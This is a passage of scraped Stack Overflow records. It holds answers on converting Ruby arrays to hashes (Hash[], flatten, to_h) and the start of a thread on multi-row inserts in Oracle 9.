"selected": false,
"text": "<p>Simply use <code>Hash[*array_variable.flatten]</code></p>\n\n<p>For example:</p>\n\n<pre><code>a1 = ['apple', 1, 'banana', 2]\nh1 = Hash[*a1.flatten(1)]\nputs \"h1: #{h1.inspect}\"\n\na2 = [['apple', 1], ['banana', 2]]\nh2 = Hash[*a2.flatten(1)]\nputs \"h2: #{h2.inspect}\"\n</code></pre>\n\n<p>Using <code>Array#flatten(1)</code> limits the recursion so <code>Array</code> keys and values work as expected.</p>\n"
},
{
"answer_id": 39625,
"author": "Dominik Grabiec",
"author_id": 3719,
"author_profile": "https://Stackoverflow.com/users/3719",
"pm_score": 3,
"selected": false,
"text": "<blockquote>\n <p>Edit: Saw the responses posted while I was writing, Hash[a.flatten] seems the way to go.\n Must have missed that bit in the documentation when I was thinking through the response. Thought the solutions that I've written can be used as alternatives if required.</p>\n</blockquote>\n\n<p>The second form is simpler:</p>\n\n<pre><code>a = [[:apple, 1], [:banana, 2]]\nh = a.inject({}) { |r, i| r[i.first] = i.last; r }\n</code></pre>\n\n<p>a = array, h = hash, r = return-value hash (the one we accumulate in), i = item in the array</p>\n\n<p>The neatest way that I can think of doing the first form is something like this:</p>\n\n<pre><code>a = [:apple, 1, :banana, 2]\nh = {}\na.each_slice(2) { |i| h[i.first] = i.last }\n</code></pre>\n"
},
{
"answer_id": 39629,
"author": "Anders Sandvig",
"author_id": 1709,
"author_profile": "https://Stackoverflow.com/users/1709",
"pm_score": 0,
"selected": false,
"text": "<p>Not sure if it's the best way, but this works:</p>\n\n<pre><code>a = [\"apple\", 1, \"banana\", 2]\nm1 = {}\nfor x in (a.length / 2).times\n m1[a[x*2]] = a[x*2 + 1]\nend\n\nb = [[\"apple\", 1], [\"banana\", 2]]\nm2 = {}\nfor x,y in b\n m2[x] = y\nend\n</code></pre>\n"
},
{
"answer_id": 39641,
"author": "Gishu",
"author_id": 1695,
"author_profile": "https://Stackoverflow.com/users/1695",
"pm_score": -1,
"selected": false,
"text": "<p>If the numeric values are seq indexes, then we could have simpler ways... \nHere's my code submission, My Ruby is a bit rusty</p>\n\n<pre><code> input = [\"cat\", 1, \"dog\", 2, \"wombat\", 3]\n hash = Hash.new\n input.each_with_index {|item, index|\n if (index%2 == 0) hash[item] = input[index+1]\n }\n hash #=> {\"cat\"=>1, \"wombat\"=>3, \"dog\"=>2}\n</code></pre>\n"
},
{
"answer_id": 3056424,
"author": "StevenJenkins",
"author_id": 210672,
"author_profile": "https://Stackoverflow.com/users/210672",
"pm_score": 2,
"selected": false,
"text": "<p>Appending to the answer but using anonymous arrays and annotating:</p>\n\n<pre><code>Hash[*(\"a,b,c,d\".split(',').zip([1,2,3,4]).flatten)]\n</code></pre>\n\n<p>Taking that answer apart, starting from the inside:</p>\n\n<ul>\n<li><code>\"a,b,c,d\"</code> is actually a string.</li>\n<li><code>split</code> on commas into an array.</li>\n<li><code>zip</code> that together with the following array.</li>\n<li><code>[1,2,3,4]</code> is an actual array.</li>\n</ul>\n\n<p>The intermediate result is:</p>\n\n<pre><code>[[a,1],[b,2],[c,3],[d,4]]\n</code></pre>\n\n<p>flatten then transforms that to:</p>\n\n<pre><code>[\"a\",1,\"b\",2,\"c\",3,\"d\",4]\n</code></pre>\n\n<p>and then:</p>\n\n<p><code>*[\"a\",1,\"b\",2,\"c\",3,\"d\",4]</code> unrolls that into\n<code>\"a\",1,\"b\",2,\"c\",3,\"d\",4</code></p>\n\n<p>which we can use as the arguments to the <code>Hash[]</code> method:</p>\n\n<pre><code>Hash[*(\"a,b,c,d\".split(',').zip([1,2,3,4]).flatten)]\n</code></pre>\n\n<p>which yields:</p>\n\n<pre><code>{\"a\"=>1, \"b\"=>2, \"c\"=>3, \"d\"=>4}\n</code></pre>\n"
},
{
"answer_id": 9571767,
"author": "Stew",
"author_id": 332936,
"author_profile": "https://Stackoverflow.com/users/332936",
"pm_score": 8,
"selected": true,
"text": "<p><strong>NOTE</strong>: For a concise and efficient solution, please see <a href=\"https://stackoverflow.com/a/20831486/332936\">Marc-André Lafortune's answer</a> below.</p>\n\n<p>This answer was originally offered as an alternative to approaches using flatten, which were the most highly upvoted at the time of writing. I should have clarified that I didn't intend to present this example as a best practice or an efficient approach. Original answer follows.</p>\n\n<hr>\n\n<p><strong>Warning!</strong> Solutions using <strong>flatten</strong> will not preserve Array keys or values!</p>\n\n<p>Building on @John Topley's popular answer, let's try:</p>\n\n<pre><code>a3 = [ ['apple', 1], ['banana', 2], [['orange','seedless'], 3] ]\nh3 = Hash[*a3.flatten]\n</code></pre>\n\n<p>This throws an error:</p>\n\n<pre><code>ArgumentError: odd number of arguments for Hash\n from (irb):10:in `[]'\n from (irb):10\n</code></pre>\n\n<p>The constructor was expecting an Array of even length (e.g. ['k1','v1,'k2','v2']). What's worse is that a different Array which flattened to an even length would just silently give us a Hash with incorrect values.</p>\n\n<p>If you want to use Array keys or values, you can use <strong>map</strong>:</p>\n\n<pre><code>h3 = Hash[a3.map {|key, value| [key, value]}]\nputs \"h3: #{h3.inspect}\"\n</code></pre>\n\n<p>This preserves the Array key:</p>\n\n<pre><code>h3: {[\"orange\", \"seedless\"]=>3, \"apple\"=>1, \"banana\"=>2}\n</code></pre>\n"
},
{
"answer_id": 14279597,
"author": "Priyanka",
"author_id": 1970032,
"author_profile": "https://Stackoverflow.com/users/1970032",
"pm_score": 3,
"selected": false,
"text": "<p>You can also simply convert a 2D array into hash using:</p>\n\n<pre><code>1.9.3p362 :005 > a= [[1,2],[3,4]]\n\n => [[1, 2], [3, 4]]\n\n1.9.3p362 :006 > h = Hash[a]\n\n => {1=>2, 3=>4} \n</code></pre>\n"
},
{
"answer_id": 20777227,
"author": "JanDintel",
"author_id": 2111438,
"author_profile": "https://Stackoverflow.com/users/2111438",
"pm_score": 5,
"selected": false,
"text": "<p><strong>Update</strong></p>\n\n<p><a href=\"http://www.ruby-lang.org/en/news/2013/12/25/ruby-2-1-0-is-released/\">Ruby 2.1.0 is released today</a>. And I comes with <code>Array#to_h</code> (<a href=\"https://github.com/ruby/ruby/blob/v2_1_0/NEWS#L34\">release notes</a> and <a href=\"http://ruby-doc.org/core-2.1.0/Array.html#method-i-to_h\">ruby-doc</a>), which solves the issue of converting an <code>Array</code> to a <code>Hash</code>. </p>\n\n<p>Ruby docs example:</p>\n\n<pre><code>[[:foo, :bar], [1, 2]].to_h # => {:foo => :bar, 1 => 2}\n</code></pre>\n"
},
{
"answer_id": 20831486,
"author": "Marc-André Lafortune",
"author_id": 8279,
"author_profile": "https://Stackoverflow.com/users/8279",
"pm_score": 7,
"selected": false,
"text": "<p>The best way is to use <a href=\"http://ruby-doc.org/core-2.6.1/Array.html#method-i-to_h\" rel=\"noreferrer\"><code>Array#to_h</code></a>:</p>\n\n<pre><code>[ [:apple,1],[:banana,2] ].to_h #=> {apple: 1, banana: 2}\n</code></pre>\n\n<p>Note that <code>to_h</code> also accepts a block:</p>\n\n<pre><code>[:apple, :banana].to_h { |fruit| [fruit, \"I like #{fruit}s\"] } \n # => {apple: \"I like apples\", banana: \"I like bananas\"}\n</code></pre>\n\n<p><strong>Note</strong>: <code>to_h</code> accepts a block in Ruby 2.6.0+; for early rubies you can use my <code>backports</code> gem and <a href=\"http://github.com/marcandre/backports\" rel=\"noreferrer\"><code>require 'backports/2.6.0/enumerable/to_h'</code></a></p>\n\n<p><code>to_h</code> without a block was introduced in Ruby 2.1.0.</p>\n\n<p>Before Ruby 2.1, one could use the less legible <code>Hash[]</code>:</p>\n\n<pre><code>array = [ [:apple,1],[:banana,2] ]\nHash[ array ] #= > {:apple => 1, :banana => 2}\n</code></pre>\n\n<p>Finally, be wary of any solutions using <code>flatten</code>, this could create problems with values that are arrays themselves.</p>\n"
},
{
"answer_id": 29008534,
"author": "user3588841",
"author_id": 3588841,
"author_profile": "https://Stackoverflow.com/users/3588841",
"pm_score": 0,
"selected": false,
"text": "<p>if you have array that looks like this -</p>\n\n<pre><code>data = [[\"foo\",1,2,3,4],[\"bar\",1,2],[\"foobar\",1,\"*\",3,5,:foo]]\n</code></pre>\n\n<p>and you want the first elements of each array to become the keys for the hash and the rest of the elements becoming value arrays, then you can do something like this -</p>\n\n<pre><code>data_hash = Hash[data.map { |key| [key.shift, key] }]\n\n#=>{\"foo\"=>[1, 2, 3, 4], \"bar\"=>[1, 2], \"foobar\"=>[1, \"*\", 3, 5, :foo]}\n</code></pre>\n"
},
{
"answer_id": 47614488,
"author": "lindes",
"author_id": 313756,
"author_profile": "https://Stackoverflow.com/users/313756",
"pm_score": 3,
"selected": false,
"text": "<h1>Summary & TL;DR:</h1>\n\n<p>This answer hopes to be a comprehensive wrap-up of information from other answers.</p>\n\n<p>The very short version, given the data from the question plus a couple extras:</p>\n\n<pre><code>flat_array = [ apple, 1, banana, 2 ] # count=4\nnested_array = [ [apple, 1], [banana, 2] ] # count=2 of count=2 k,v arrays\nincomplete_f = [ apple, 1, banana ] # count=3 - missing last value\nincomplete_n = [ [apple, 1], [banana ] ] # count=2 of either k or k,v arrays\n\n\n# there's one option for flat_array:\nh1 = Hash[*flat_array] # => {apple=>1, banana=>2}\n\n# two options for nested_array:\nh2a = nested_array.to_h # since ruby 2.1.0 => {apple=>1, banana=>2}\nh2b = Hash[nested_array] # => {apple=>1, banana=>2}\n\n# ok if *only* the last value is missing:\nh3 = Hash[incomplete_f.each_slice(2).to_a] # => {apple=>1, banana=>nil}\n# always ok for k without v in nested array:\nh4 = Hash[incomplete_n] # or .to_h => {apple=>1, banana=>nil}\n\n# as one might expect:\nh1 == h2a # => true\nh1 == h2b # => true\nh1 == h3 # => false\nh3 == h4 # => true\n</code></pre>\n\n<p>Discussion and details follow.</p>\n\n<hr>\n\n<h1>Setup: variables</h1>\n\n<p>In order to show the data we'll be using up front, I'll create some variables to represent various possibilities for the data. They fit into the following categories:</p>\n\n<h3>Based on what was directly in the question, as <code>a1</code> and <code>a2</code>:</h3>\n\n<p><i>(Note: I presume that <code>apple</code> and <code>banana</code> were meant to represent variables. As others have done, I'll be using strings from here on so that input and results can match.)</i></p>\n\n\n\n<pre class=\"lang-ruby prettyprint-override\"><code>a1 = [ 'apple', 1 , 'banana', 2 ] # flat input\na2 = [ ['apple', 1], ['banana', 2] ] # key/value paired input\n</code></pre>\n\n<h3>Multi-value keys and/or values, as <code>a3</code>:</h3>\n\n<p>In some other answers, another possibility was presented (which I expand on here) – keys and/or values may be arrays on their own:</p>\n\n<pre class=\"lang-ruby prettyprint-override\"><code>a3 = [ [ 'apple', 1 ],\n [ 'banana', 2 ],\n [ ['orange','seedless'], 3 ],\n [ 'pear', [4, 5] ],\n ]\n</code></pre>\n\n<h3>Unbalanced array, as <code>a4</code>:</h3>\n\n<p>For good measure, I thought I'd add one for a case where we might have an incomplete input:</p>\n\n<pre class=\"lang-ruby prettyprint-override\"><code>a4 = [ [ 'apple', 1],\n [ 'banana', 2],\n [ ['orange','seedless'], 3],\n [ 'durian' ], # a spiky fruit pricks us: no value!\n ]\n</code></pre>\n\n<hr>\n\n<h1>Now, to work:</h1>\n\n<h2>Starting with an initially-flat array, <code>a1</code>:</h2>\n\n<p>Some have suggested using <a href=\"https://ruby-doc.org/core/Array.html#method-i-to_h\" rel=\"noreferrer\"><code>#to_h</code></a> (which showed up in Ruby 2.1.0, and can be <a href=\"https://github.com/marcandre/backports\" rel=\"noreferrer\">backported</a> to earlier versions). For an initially-flat array, this doesn't work:</p>\n\n<pre class=\"lang-ruby prettyprint-override\"><code>a1.to_h # => TypeError: wrong element type String at 0 (expected array)\n</code></pre>\n\n<p>Using <a href=\"https://ruby-doc.org/core/Hash.html#method-c-5B-5D\" rel=\"noreferrer\"><code>Hash::[]</code></a> combined with the <a href=\"https://ruby-doc.org/core/doc/syntax/calling_methods_rdoc.html#label-Array+to+Arguments+Conversion\" rel=\"noreferrer\">splat operator</a> does:</p>\n\n<pre class=\"lang-ruby prettyprint-override\"><code>Hash[*a1] # => {\"apple\"=>1, \"banana\"=>2}\n</code></pre>\n\n<p>So that's the solution for the simple case represented by <code>a1</code>.</p>\n\n<h2>With an array of key/value pair arrays, <code>a2</code>:</h2>\n\n<p>With an array of <code>[key,value]</code> type arrays, there are two ways to go.</p>\n\n<p>First, <code>Hash::[]</code> still works (as it did with <code>*a1</code>):</p>\n\n<pre class=\"lang-ruby prettyprint-override\"><code>Hash[a2] # => {\"apple\"=>1, \"banana\"=>2}\n</code></pre>\n\n<p>And then also <code>#to_h</code> works now:</p>\n\n<pre class=\"lang-ruby prettyprint-override\"><code>a2.to_h # => {\"apple\"=>1, \"banana\"=>2}\n</code></pre>\n\n<p>So, two easy answers for the simple nested array case.</p>\n\n<h3>This remains true even with sub-arrays as keys or values, as with <code>a3</code>:</h3>\n\n<pre class=\"lang-ruby prettyprint-override\"><code>Hash[a3] # => {\"apple\"=>1, \"banana\"=>2, [\"orange\", \"seedless\"]=>3, \"pear\"=>[4, 5]} \na3.to_h # => {\"apple\"=>1, \"banana\"=>2, [\"orange\", \"seedless\"]=>3, \"pear\"=>[4, 5]}\n</code></pre>\n\n<h2>But durians have spikes (anomalous structures give problems):</h2>\n\n<p>If we've gotten input data that's not balanced, we'll run into problems with <code>#to_h</code>:</p>\n\n<pre class=\"lang-ruby prettyprint-override\"><code>a4.to_h # => ArgumentError: wrong array length at 3 (expected 2, was 1)\n</code></pre>\n\n<p>But <code>Hash::[]</code> still works, just setting <code>nil</code> as the value for <code>durian</code> (and any other array element in a4 that's just a 1-value array):</p>\n\n<pre class=\"lang-ruby prettyprint-override\"><code>Hash[a4] # => {\"apple\"=>1, \"banana\"=>2, [\"orange\", \"seedless\"]=>3, \"durian\"=>nil}\n</code></pre>\n\n<h3>Flattening - using new variables <code>a5</code> and <code>a6</code></h3>\n\n<p>A few other answers mentioned <a href=\"https://ruby-doc.org/core/Array.html#method-i-flatten\" rel=\"noreferrer\"><code>flatten</code></a>, with or without a <code>1</code> argument, so let's create some new variables:</p>\n\n<pre class=\"lang-ruby prettyprint-override\"><code>a5 = a4.flatten\n# => [\"apple\", 1, \"banana\", 2, \"orange\", \"seedless\" , 3, \"durian\"] \na6 = a4.flatten(1)\n# => [\"apple\", 1, \"banana\", 2, [\"orange\", \"seedless\"], 3, \"durian\"] \n</code></pre>\n\n<p>I chose to use <code>a4</code> as the base data because of the balance problem we had, which showed up with <code>a4.to_h</code>. I figure calling <code>flatten</code> might be one approach someone might use to try to solve that, which might look like the following.</p>\n\n<h3><code>flatten</code> without arguments (<code>a5</code>):</h3>\n\n<pre class=\"lang-ruby prettyprint-override\"><code>Hash[*a5] # => {\"apple\"=>1, \"banana\"=>2, \"orange\"=>\"seedless\", 3=>\"durian\"}\n# (This is the same as calling `Hash[*a4.flatten]`.)\n</code></pre>\n\n<p>At a naïve glance, this appears to work – but it got us off on the wrong foot with the seedless oranges, thus also making <code>3</code> a <em>key</em> and <code>durian</code> a <em>value</em>.</p>\n\n<p>And this, as with <code>a1</code>, just doesn't work:</p>\n\n<pre class=\"lang-ruby prettyprint-override\"><code>a5.to_h # => TypeError: wrong element type String at 0 (expected array)\n</code></pre>\n\n<p>So <code>a4.flatten</code> isn't useful to us, we'd just want to use <code>Hash[a4]</code></p>\n\n<h3>The <code>flatten(1)</code> case (<code>a6</code>):</h3>\n\n<p>But what about only partially flattening? It's worth noting that calling <code>Hash::[]</code> using <code>splat</code> on the partially-flattened array (<code>a6</code>) is <em>not</em> the same as calling <code>Hash[a4]</code>:</p>\n\n<pre class=\"lang-ruby prettyprint-override\"><code>Hash[*a6] # => ArgumentError: odd number of arguments for Hash\n</code></pre>\n\n<h3>Pre-flattened array, still nested (alternate way of getting <code>a6</code>):</h3>\n\n<p>But what if this was how we'd gotten the array in the first place?\n (That is, comparably to <code>a1</code>, it was our input data - just this time some of the data can be arrays or other objects.) We've seen that <code>Hash[*a6]</code> doesn't work, but what if we still wanted to get the behavior where the <em>last element</em> (important! see below) acted as a key for a <code>nil</code> value?</p>\n\n<p>In such a situation, there's still a way to do this, using <a href=\"https://ruby-doc.org/core/Enumerable.html#method-i-each_slice\" rel=\"noreferrer\"><code>Enumerable#each_slice</code></a> to get ourselves back to key/value <em>pairs</em> as elements in the outer array:</p>\n\n<pre class=\"lang-ruby prettyprint-override\"><code>a7 = a6.each_slice(2).to_a\n# => [[\"apple\", 1], [\"banana\", 2], [[\"orange\", \"seedless\"], 3], [\"durian\"]] \n</code></pre>\n\n<p>Note that this ends up getting us a new array that isn't \"<a href=\"https://ruby-doc.org/core/BasicObject.html#method-i-equal-3F\" rel=\"noreferrer\">identical</a>\" to <code>a4</code>, but does have the <a href=\"https://ruby-doc.org/core/Array.html#method-i-3D-3D\" rel=\"noreferrer\">same values</a>:</p>\n\n<pre class=\"lang-ruby prettyprint-override\"><code>a4.equal?(a7) # => false\na4 == a7 # => true\n</code></pre>\n\n<p>And thus we can again use <code>Hash::[]</code>:</p>\n\n<pre class=\"lang-ruby prettyprint-override\"><code>Hash[a7] # => {\"apple\"=>1, \"banana\"=>2, [\"orange\", \"seedless\"]=>3, \"durian\"=>nil}\n# or Hash[a6.each_slice(2).to_a]\n</code></pre>\n\n<h3>But there's a problem!</h3>\n\n<p>It's important to note that the <code>each_slice(2)</code> solution only gets things back to sanity if the <strong><em>last</em></strong> key was the one missing a value. If we later added an extra key/value pair:</p>\n\n<pre class=\"lang-ruby prettyprint-override\"><code>a4_plus = a4.dup # just to have a new-but-related variable name\na4_plus.push(['lychee', 4])\n# => [[\"apple\", 1],\n# [\"banana\", 2],\n# [[\"orange\", \"seedless\"], 3], # multi-value key\n# [\"durian\"], # missing value\n# [\"lychee\", 4]] # new well-formed item\n\na6_plus = a4_plus.flatten(1)\n# => [\"apple\", 1, \"banana\", 2, [\"orange\", \"seedless\"], 3, \"durian\", \"lychee\", 4]\n\na7_plus = a6_plus.each_slice(2).to_a\n# => [[\"apple\", 1],\n# [\"banana\", 2],\n# [[\"orange\", \"seedless\"], 3], # so far so good\n# [\"durian\", \"lychee\"], # oops! key became value!\n# [4]] # and we still have a key without a value\n\na4_plus == a7_plus # => false, unlike a4 == a7\n</code></pre>\n\n<p>And the two hashes we'd get from this are different in important ways:</p>\n\n<pre class=\"lang-ruby prettyprint-override\"><code>ap Hash[a4_plus] # prints:\n{\n \"apple\" => 1,\n \"banana\" => 2,\n [ \"orange\", \"seedless\" ] => 3,\n \"durian\" => nil, # correct\n \"lychee\" => 4 # correct\n}\n\nap Hash[a7_plus] # prints:\n{\n \"apple\" => 1,\n \"banana\" => 2,\n [ \"orange\", \"seedless\" ] => 3,\n \"durian\" => \"lychee\", # incorrect\n 4 => nil # incorrect\n}\n</code></pre>\n\n<p><i>(Note: I'm using <a href=\"https://github.com/awesome-print/awesome_print\" rel=\"noreferrer\"><code>awesome_print</code></a>'s <code>ap</code> just to make it easier to show the structure here; there's no conceptual requirement for this.)</i></p>\n\n<p>So the <code>each_slice</code> solution to an unbalanced flat input only works if the unbalanced bit is at the very end.</p>\n\n<hr>\n\n<h1>Take-aways:</h1>\n\n<ol>\n<li>Whenever possible, set up input to these things as <code>[key, value]</code> pairs (a sub-array for each item in the outer array).</li>\n<li>When you can indeed do that, either <code>#to_h</code> or <code>Hash::[]</code> will both work.</li>\n<li>If you're unable to, <code>Hash::[]</code> combined with the splat (<code>*</code>) will work, <em>so long as inputs are balanced</em>.</li>\n<li>With an <em>unbalanced</em> and <em>flat</em> array as input, the only way this will work at all reasonably is if the <strong><em>last</em></strong> <code>value</code> item is the only one that's missing.</li>\n</ol>\n\n<hr>\n\n<p><i>Side-note: I'm posting this answer because I feel there's value to be added – some of the existing answers have incorrect information, and none (that I read) gave as complete an answer as I'm endeavoring to do here. I hope that it's helpful. I nevertheless give thanks to those who came before me, several of whom provided inspiration for portions of this answer.</i></p>\n"
},
{
"answer_id": 68745099,
"author": "noraj",
"author_id": 5511315,
"author_profile": "https://Stackoverflow.com/users/5511315",
"pm_score": 0,
"selected": false,
"text": "<p>For performance and memory allocation concerns please check <a href=\"https://stackoverflow.com/questions/11856407/rails-mapping-array-of-hashes-onto-single-hash/68745019#answer-68745019\">my answer</a> to <a href=\"https://stackoverflow.com/questions/11856407/rails-mapping-array-of-hashes-onto-single-hash/68745019\">Rails mapping array of hashes onto single hash</a> where I bench-marked several solutions.</p>\n<p><code>reduce</code> / <code>inject</code> can be the fastest or the slowest solution depending on which method you use it which.</p>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/39567",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4142/"
] | In Ruby, given an array in one of the following forms...
```
[apple, 1, banana, 2]
[[apple, 1], [banana, 2]]
```
...what is the best way to convert this into a hash in the form of...
```
{apple => 1, banana => 2}
``` | **NOTE**: For a concise and efficient solution, please see [Marc-André Lafortune's answer](https://stackoverflow.com/a/20831486/332936) below.
This answer was originally offered as an alternative to approaches using flatten, which were the most highly upvoted at the time of writing. I should have clarified that I didn't intend to present this example as a best practice or an efficient approach. Original answer follows.
---
**Warning!** Solutions using **flatten** will not preserve Array keys or values!
Building on @John Topley's popular answer, let's try:
```
a3 = [ ['apple', 1], ['banana', 2], [['orange','seedless'], 3] ]
h3 = Hash[*a3.flatten]
```
This throws an error:
```
ArgumentError: odd number of arguments for Hash
from (irb):10:in `[]'
from (irb):10
```
The constructor was expecting an Array of even length (e.g. ['k1','v1,'k2','v2']). What's worse is that a different Array which flattened to an even length would just silently give us a Hash with incorrect values.
If you want to use Array keys or values, you can use **map**:
```
h3 = Hash[a3.map {|key, value| [key, value]}]
puts "h3: #{h3.inspect}"
```
This preserves the Array key:
```
h3: {["orange", "seedless"]=>3, "apple"=>1, "banana"=>2}
``` |
39,576 | <p>I'm looking for a good way to perform multi-row inserts into an Oracle 9 database. The following works in MySQL but doesn't seem to be supported in Oracle.</p>
<pre><code>INSERT INTO TMP_DIM_EXCH_RT
(EXCH_WH_KEY,
EXCH_NAT_KEY,
EXCH_DATE, EXCH_RATE,
FROM_CURCY_CD,
TO_CURCY_CD,
EXCH_EFF_DATE,
EXCH_EFF_END_DATE,
EXCH_LAST_UPDATED_DATE)
VALUES
(1, 1, '28-AUG-2008', 109.49, 'USD', 'JPY', '28-AUG-2008', '28-AUG-2008', '28-AUG-2008'),
(2, 1, '28-AUG-2008', .54, 'USD', 'GBP', '28-AUG-2008', '28-AUG-2008', '28-AUG-2008'),
(3, 1, '28-AUG-2008', 1.05, 'USD', 'CAD', '28-AUG-2008', '28-AUG-2008', '28-AUG-2008'),
(4, 1, '28-AUG-2008', .68, 'USD', 'EUR', '28-AUG-2008', '28-AUG-2008', '28-AUG-2008'),
(5, 1, '28-AUG-2008', 1.16, 'USD', 'AUD', '28-AUG-2008', '28-AUG-2008', '28-AUG-2008'),
(6, 1, '28-AUG-2008', 7.81, 'USD', 'HKD', '28-AUG-2008', '28-AUG-2008', '28-AUG-2008');
</code></pre>
| [
{
"answer_id": 39602,
"author": "Espo",
"author_id": 2257,
"author_profile": "https://Stackoverflow.com/users/2257",
"pm_score": 9,
"selected": true,
"text": "<p>This works in Oracle:</p>\n<pre><code>insert into pager (PAG_ID,PAG_PARENT,PAG_NAME,PAG_ACTIVE)\n select 8000,0,'Multi 8000',1 from dual\nunion all select 8001,0,'Multi 8001',1 from dual\n</code></pre>\n<p>The thing to remember here is to use the <code>from dual</code> statement.</p>\n"
},
{
"answer_id": 39607,
"author": "Ryan Ahearn",
"author_id": 75,
"author_profile": "https://Stackoverflow.com/users/75",
"pm_score": 4,
"selected": false,
"text": "<p>If you have the values that you want to insert in another table already, then you can Insert from a select statement.</p>\n\n<pre><code>INSERT INTO a_table (column_a, column_b) SELECT column_a, column_b FROM b_table;\n</code></pre>\n\n<p>Otherwise, you can list a bunch of single row insert statements and submit several queries in bulk to save the time for something that works in both Oracle and MySQL.</p>\n\n<p><a href=\"https://stackoverflow.com/questions/39576/best-way-to-do-multi-row-insert-in-oracle#39602\">@Espo</a>'s solution is also a good one that will work in both Oracle and MySQL if your data isn't already in a table.</p>\n"
},
{
"answer_id": 41080,
"author": "Matthew Watson",
"author_id": 3839,
"author_profile": "https://Stackoverflow.com/users/3839",
"pm_score": 5,
"selected": false,
"text": "<p>Use SQL*Loader. It takes a little setting up, but if this isn't a one off, its worth it.</p>\n\n<p><strong>Create Table</strong></p>\n\n<pre><code>SQL> create table ldr_test (id number(10) primary key, description varchar2(20));\nTable created.\nSQL>\n</code></pre>\n\n<p><strong>Create CSV</strong></p>\n\n<pre><code>oracle-2% cat ldr_test.csv\n1,Apple\n2,Orange\n3,Pear\noracle-2% \n</code></pre>\n\n<p><strong>Create Loader Control File</strong></p>\n\n<pre><code>oracle-2% cat ldr_test.ctl \nload data\n\n infile 'ldr_test.csv'\n into table ldr_test\n fields terminated by \",\" optionally enclosed by '\"' \n ( id, description )\n\noracle-2% \n</code></pre>\n\n<p><strong>Run SQL*Loader command</strong></p>\n\n<pre><code>oracle-2% sqlldr <username> control=ldr_test.ctl\nPassword:\n\nSQL*Loader: Release 9.2.0.5.0 - Production on Wed Sep 3 12:26:46 2008\n\nCopyright (c) 1982, 2002, Oracle Corporation. All rights reserved.\n\nCommit point reached - logical record count 3\n</code></pre>\n\n<p><strong>Confirm insert</strong></p>\n\n<pre><code>SQL> select * from ldr_test;\n\n ID DESCRIPTION\n---------- --------------------\n 1 Apple\n 2 Orange\n 3 Pear\n\nSQL>\n</code></pre>\n\n<p>SQL*Loader has alot of options, and can take pretty much any text file as its input. You can even inline the data in your control file if you want.</p>\n\n<p>Here is a page with some more details -> <a href=\"http://www.orafaq.com/wiki/SQL%2ALoader_FAQ\" rel=\"noreferrer\">SQL*Loader</a></p>\n"
},
{
"answer_id": 91486,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 5,
"selected": false,
"text": "<p>Whenever I need to do this I build a simple PL/SQL block with a local procedure like this:</p>\n\n<pre><code>declare\n procedure ins\n is\n (p_exch_wh_key INTEGER, \n p_exch_nat_key INTEGER, \n p_exch_date DATE, exch_rate NUMBER, \n p_from_curcy_cd VARCHAR2, \n p_to_curcy_cd VARCHAR2, \n p_exch_eff_date DATE, \n p_exch_eff_end_date DATE, \n p_exch_last_updated_date DATE);\n begin\n insert into tmp_dim_exch_rt \n (exch_wh_key, \n exch_nat_key, \n exch_date, exch_rate, \n from_curcy_cd, \n to_curcy_cd, \n exch_eff_date, \n exch_eff_end_date, \n exch_last_updated_date) \n values\n (p_exch_wh_key, \n p_exch_nat_key, \n p_exch_date, exch_rate, \n p_from_curcy_cd, \n p_to_curcy_cd, \n p_exch_eff_date, \n p_exch_eff_end_date, \n p_exch_last_updated_date);\n end;\nbegin\n ins (1, 1, '28-AUG-2008', 109.49, 'USD', 'JPY', '28-AUG-2008', '28-AUG-2008', '28-AUG-2008'),\n ins (2, 1, '28-AUG-2008', .54, 'USD', 'GBP', '28-AUG-2008', '28-AUG-2008', '28-AUG-2008'),\n ins (3, 1, '28-AUG-2008', 1.05, 'USD', 'CAD', '28-AUG-2008', '28-AUG-2008', '28-AUG-2008'),\n ins (4, 1, '28-AUG-2008', .68, 'USD', 'EUR', '28-AUG-2008', '28-AUG-2008', '28-AUG-2008'),\n ins (5, 1, '28-AUG-2008', 1.16, 'USD', 'AUD', '28-AUG-2008', '28-AUG-2008', '28-AUG-2008'),\n ins (6, 1, '28-AUG-2008', 7.81, 'USD', 'HKD', '28-AUG-2008', '28-AUG-2008', '28-AUG-2008');\nend;\n/\n</code></pre>\n"
},
{
"answer_id": 93724,
"author": "Myto",
"author_id": 17827,
"author_profile": "https://Stackoverflow.com/users/17827",
"pm_score": 9,
"selected": false,
"text": "<p>In Oracle, to insert multiple rows into table t with columns col1, col2 and col3 you can use the following syntax:</p>\n\n<pre><code>INSERT ALL\n INTO t (col1, col2, col3) VALUES ('val1_1', 'val1_2', 'val1_3')\n INTO t (col1, col2, col3) VALUES ('val2_1', 'val2_2', 'val2_3')\n INTO t (col1, col2, col3) VALUES ('val3_1', 'val3_2', 'val3_3')\n .\n .\n .\nSELECT 1 FROM DUAL;\n</code></pre>\n"
},
{
"answer_id": 50813275,
"author": "Vasanth Raghavan",
"author_id": 4008963,
"author_profile": "https://Stackoverflow.com/users/4008963",
"pm_score": -1,
"selected": false,
"text": "<p>Cursors may also be used, although it is inefficient. \nThe following stackoverflow post discusses the usage of cursors :</p>\n\n<p><a href=\"https://stackoverflow.com/questions/11921889/insert-and-update-a-record-using-cursors-in-oracle\">INSERT and UPDATE a record using cursors in oracle</a></p>\n"
},
{
"answer_id": 53106217,
"author": "Girdhar Singh Rathore",
"author_id": 5115670,
"author_profile": "https://Stackoverflow.com/users/5115670",
"pm_score": 3,
"selected": false,
"text": "<p>you can insert using loop if you want to insert some random values.</p>\n\n<pre><code>BEGIN \n FOR x IN 1 .. 1000 LOOP\n INSERT INTO MULTI_INSERT_DEMO (ID, NAME)\n SELECT x, 'anyName' FROM dual;\n END LOOP;\nEND;\n</code></pre>\n"
},
{
"answer_id": 57430220,
"author": "akasha",
"author_id": 2948162,
"author_profile": "https://Stackoverflow.com/users/2948162",
"pm_score": -1,
"selected": false,
